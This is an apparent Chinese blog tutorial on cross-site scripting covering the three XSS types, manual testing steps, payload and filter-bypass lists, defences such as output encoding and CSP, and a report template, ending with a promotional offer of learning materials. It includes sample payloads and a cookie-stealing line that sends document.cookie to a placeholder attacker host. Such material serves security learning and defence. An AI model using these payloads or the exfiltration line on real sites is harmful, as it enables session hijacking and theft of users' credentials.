XSS 漏洞分类、测试方法与防御方案
前言
在 Web 安全领域中,XSS(跨站脚本攻击,Cross-Site Scripting)是出现频率最高、覆盖范围最广、业务关联性最强的漏洞之一。相比于 SQL 注入、文件上传这类高危漏洞,XSS 漏洞门槛更低、更容易被忽略、在各类业务场景中大量存在,也是 SRC 漏洞挖掘、CTF Web 题型、面试必考的核心知识点。
很多新手对 XSS 的认知只停留在弹窗alert(1),认为只要能弹窗就是漏洞,不能区分存储型、反射型、DOM 型,不懂过滤绕过、不懂测试思路、不懂真实危害与修复方式。
本文将从零系统讲解 XSS 完整知识体系:XSS 底层原理、三大类型深度区分、全套手工测试流程、常用 Payload、各类过滤绕过技巧、真实业务危害、完整防御方案、面试高频考点,全文干货拉满、步骤清晰、适合零基础入门、面试背诵、实战挖洞。
⚠️ 安全免责声明
本文所有技术内容仅用于授权安全测试、网络安全学习、靶场实训。禁止在未授权网站、公网业务系统进行 XSS 测试,违规测试属于违法行为,一切违规操作由操作者自行承担法律责任。
一、XSS 漏洞核心原理
1.1 什么是 XSS
XSS 全称跨站脚本攻击,原理简单概括:
网站接收用户可控输入,未做过滤、转义、编码,直接将用户输入内容输出到前端页面渲染,导致恶意 JS 代码被浏览器解析执行。
不同于 SQL 注入攻击服务器数据库,XSS 攻击的是用户浏览器。
攻击者注入 JavaScript 代码,当受害者访问页面时,浏览器执行恶意脚本,实现窃取信息、劫持会话、钓鱼、挂马等攻击。
1.2 XSS 漏洞成立的两个必要条件
- 用户输入可控:URL 参数、搜索框、评论区、用户名、公告内容、前端展示字段均可自定义输入;
- 输出到页面无净化:输入内容直接打印在网页源代码中,未做 HTML 实体编码、未过滤标签、未过滤事件。
1.3 XSS 与其他漏洞的本质区别
- SQL 注入:攻击服务器数据库
- 文件上传:攻击服务器权限
- XSS:攻击用户浏览器、用户会话、用户隐私
二、XSS 三大类型详解(必考核心)
XSS 严格分为三类:反射型 XSS、存储型 XSS、DOM 型 XSS
三者漏洞原理、危害、触发方式、测试方式完全不同,面试、漏洞报告必须严格区分。
2.1 反射型 XSS(非持久型 XSS)
原理
用户输入的恶意代码仅单次反射、即时执行、不会存入服务器数据库。
数据流程:用户输入 → 服务器接收 → 立即回显页面 → 执行 JS。
触发方式
需要诱导用户点击构造好的恶意链接才能触发。
典型场景
URL 参数回显、搜索内容回显、页面跳转参数、错误提示参数。
特点
- 一次性、非持久、不会保存后台;
- 需要社工诱导点击链接;
- 危害中等,主要用于窃取 Cookie、钓鱼。
示例漏洞链接
http://127.0.0.1/test.php?msg=<script>alert(1)</script>页面直接输出 msg 内容,弹窗触发 XSS。
2.2 存储型 XSS(持久型 XSS —— 高危)
原理
用户输入的恶意代码存入服务器数据库、文件、缓存,永久保存。
任意用户访问对应页面时,恶意代码自动加载执行。
典型场景
文章评论、留言板、个人简介、昵称、公告发布、订单备注、后台内容管理。
特点
- 永久持久化,存入数据库,无需每次构造链接;
- 全自动触发,所有访问用户全部中招;
- 危害最高,属于高危漏洞;
- 无需社工,挂马、批量偷取用户 Cookie、批量劫持会话。
攻击流程
攻击者提交恶意脚本入库 → 普通用户访问页面 → 加载恶意 JS → 窃取用户数据。
2.3 DOM 型 XSS(前端 XSS)
原理
数据不经过服务器后端,完全在前端通过 JS 动态获取参数、渲染页面。
后端无接收、无存储、无处理,纯前端逻辑缺陷导致 XSS。
区别重点
- 反射 / 存储 XSS:服务器输出恶意代码
- DOM XSS:前端 JS 解析恶意代码
典型前端危险函数
document.write() innerHTML outerHTML eval() setTimeout() location.href特点
- 数据包无恶意代码回显,抓包看不到 payload;
- 属于前端渲染漏洞,WAF 很难拦截;
- 隐蔽性最强,实战挖洞高频;
- 大多数新手容易漏测。
三、XSS 完整手工测试流程(实战通用)
3.1 寻找 XSS 测试点
所有用户输入、页面回显、参数输出位置全部测试:
- URL GET 参数:
?id=?search=?msg= - POST 表单:用户名、备注、留言、搜索框
- 头部参数:Referer、User-Agent、Cookie(部分后台展示 UA)
- 前端动态渲染位置:DOM 读取参数展示内容
3.2 标准测试步骤
- 输入测试 payload:
<>特殊符号 - 查看网页源代码,观察
<>是否被转义 / 过滤 - 未转义则继续构造完整 XSS 语句
- 判断属于反射型 / 存储型 / DOM 型
- 测试过滤绕过,成功弹窗即存在漏洞
3.3 基础通用 Payload(入门必用)
<script>alert(1)</script> <img src=x onerror=alert(1)> <a href=javascript:alert(1)>click</a>四、XSS 高阶 Payload 与绕过方式(实战高频)
很多网站会过滤<script>、alert、空格等关键字,需要掌握基础绕过手段。
4.1 标签替换绕过(过滤 script)
<img src=x onerror=alert(1)> <body onload=alert(1)> svg onload=alert(1)>4.2 大小写绕过(前端过滤不区分大小写)
<SCRIPT>alert(1)</SCRIPT> <ImG src=x onerror=alert(1)>4.3 空格、换行绕过
过滤空格,使用换行、Tab 代替空格:
<img src=x onerror=alert(1)>4.4 编码绕过(HTML 实体编码、Unicode 编码)
将字符编码,前端解析自动还原执行:
location4.5 弹窗函数绕过(过滤 alert)
confirm() prompt()4.6 伪协议绕过
javascript:alert(1) vbscript:alert(1)五、真实 XSS 攻击危害(不止弹窗)
弹窗只是证明漏洞存在的验证手段,真实危害极大:
- 盗取用户 Cookie
获取用户登录凭证,直接登录受害者账号,劫持用户会话。
<script>document.location='http://攻击者IP/steal.php?c='+document.cookie</script>- 劫持页面、挂黑页、篡改网站内容
篡改页面文案、伪造公告、诱导用户转账、泄露信息。 - 钓鱼攻击
伪造登录框,骗取用户账号密码、手机号、验证码。 - 植入挖矿脚本、恶意广告
利用用户浏览器资源挖矿、刷流量。 - 配合内网穿透、获取内网信息
读取本地存储、探测内网 IP、进一步渗透。 - 存储型 XSS 批量攻击
全站用户访问即中招,造成大规模用户信息泄露。
六、三种 XSS 漏洞详细对比(面试必背)
| 漏洞类型 | 存储方式 | 触发条件 | 危害等级 | 触发位置 |
|---|---|---|---|---|
| 反射型 XSS | 不入库、临时 | 点击恶意链接 | 中危 | 服务器渲染 |
| 存储型 XSS | 存入数据库永久保存 | 访问页面自动触发 | 高危 | 服务器渲染 |
| DOM 型 XSS | 不经过后端 | 访问恶意链接 | 中高危 | 前端 JS 渲染 |
七、DOM XSS 专项测试方法(新手最容易漏)
7.1 识别 DOM XSS 特征
- 抓包数据包无恶意内容,页面却可以弹窗;
- 页面 JS 直接读取 URL 参数:
location.search、location.hash; - 使用 innerHTML、document.write 动态输出内容。
7.2 DOM XSS 测试 Payload
# 截断原有标签构造新事件 ?name=</div><img src=x onerror=alert(1)> # hash 绕过(很多后端不记录 hash 值) #<img src=x onerror=alert(1)>八、XSS 全方位防御方案(开发 / 渗透报告必备)
XSS 防御没有单一万能方案,必须前后端双层防御、多维度防护。
8.1 核心防御:前端输出编码(最有效)
所有用户可控输出到页面的内容,统一进行HTML 实体编码:
<转<>转>"转"'转'&转&
编码后恶意标签会变成普通文本,无法被浏览器解析执行。
8.2 后端严格过滤
- 过滤危险标签:script、iframe、svg、onerror、onload、javascript
- 过滤特殊事件、伪协议
- 禁止用户输入可执行脚本内容
8.3 开启 CSP 内容安全策略
CSP 是 XSS 终极防护手段,限制页面仅加载可信域名资源、禁止行内 JS、禁止 eval 执行。
响应头配置:
Content-Security-Policy: default-src 'self'有效阻止绝大部分 XSS 执行。
8.4 Cookie 安全加固
设置 Cookie 属性:
HttpOnly、Secure、SameSite防止 JS 读取 Cookie,就算出现 XSS 也无法盗取会话凭证。
8.5 输入白名单校验
对于固定格式输入(手机号、账号、ID),使用白名单严格匹配,拒绝非常规字符。
8.6 前端渲染安全规范
禁止使用危险函数:innerHTML、document.write、eval()
优先使用innerText纯文本渲染,不解析 HTML 标签。
8.7 WAF 防护
部署 Web 应用防火墙,拦截常见 XSS 特征 payload。
九、实战常见误区(新手高频踩坑)
❌ 误区 1:弹窗 = 高危漏洞
弹窗只是验证漏洞,存储型才是高危,反射型默认中危。
❌ 误区 2:所有 XSS 都需要数据库存储
DOM 型、反射型不需要入库。
❌ 误区 3:抓包看不到数据就不存在 XSS
DOM XSS 前端渲染,抓包看不到 payload。
❌ 误区 4:过滤 script 就安全
攻击者可以用 img、svg、body 等标签绕过。
❌ 误区 5:只过滤小写字符
未做大小写统一,可大小写绕过。
十、漏洞报告标准模板
漏洞名称:反射型 XSS 漏洞 / 存储型 XSS 漏洞
漏洞描述:网站参数未做 HTML 编码与恶意标签过滤,用户可控参数直接输出页面渲染,存在 XSS 跨站脚本漏洞。攻击者可构造恶意链接,诱导用户点击执行任意 JS 脚本,窃取用户 Cookie、劫持账号、实施钓鱼攻击。
复现步骤:
- 访问页面可控参数点;
- 构造 XSS Payload 传入参数;
- 页面成功执行 JS 弹窗,漏洞验证成功。
漏洞危害:窃取用户登录凭证、劫持用户会话、钓鱼诈骗、篡改页面内容、批量用户信息泄露。
修复建议:- 前端输出全部做 HTML 实体编码;
- 后端过滤恶意标签与脚本事件;
- 配置 CSP 安全策略;
- Cookie 配置 HttpOnly 属性。
结尾
XSS 是 Web 安全最基础、最重要、覆盖面最广的漏洞之一。相比于 SQL 注入、文件上传,XSS 更贴近业务、更容易出现、更考验细节思维。
学习 XSS 不要只会弹窗,重点区分三类漏洞、掌握绕过思路、理解真实危害、熟记防御方案。在真实 SRC 挖掘中,存储型 XSS 分值极高、DOM XSS 最容易捡漏,是安全选手必备核心能力。
本文覆盖了 XSS 原理、分类、测试、绕过、危害、防御全套体系,可直接用于刷题、面试、挖洞、写报告。
后续会继续更新 Web 安全全套漏洞教程:CSRF、SSRF、文件包含、逻辑漏洞等,欢迎点赞收藏持续学习!
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】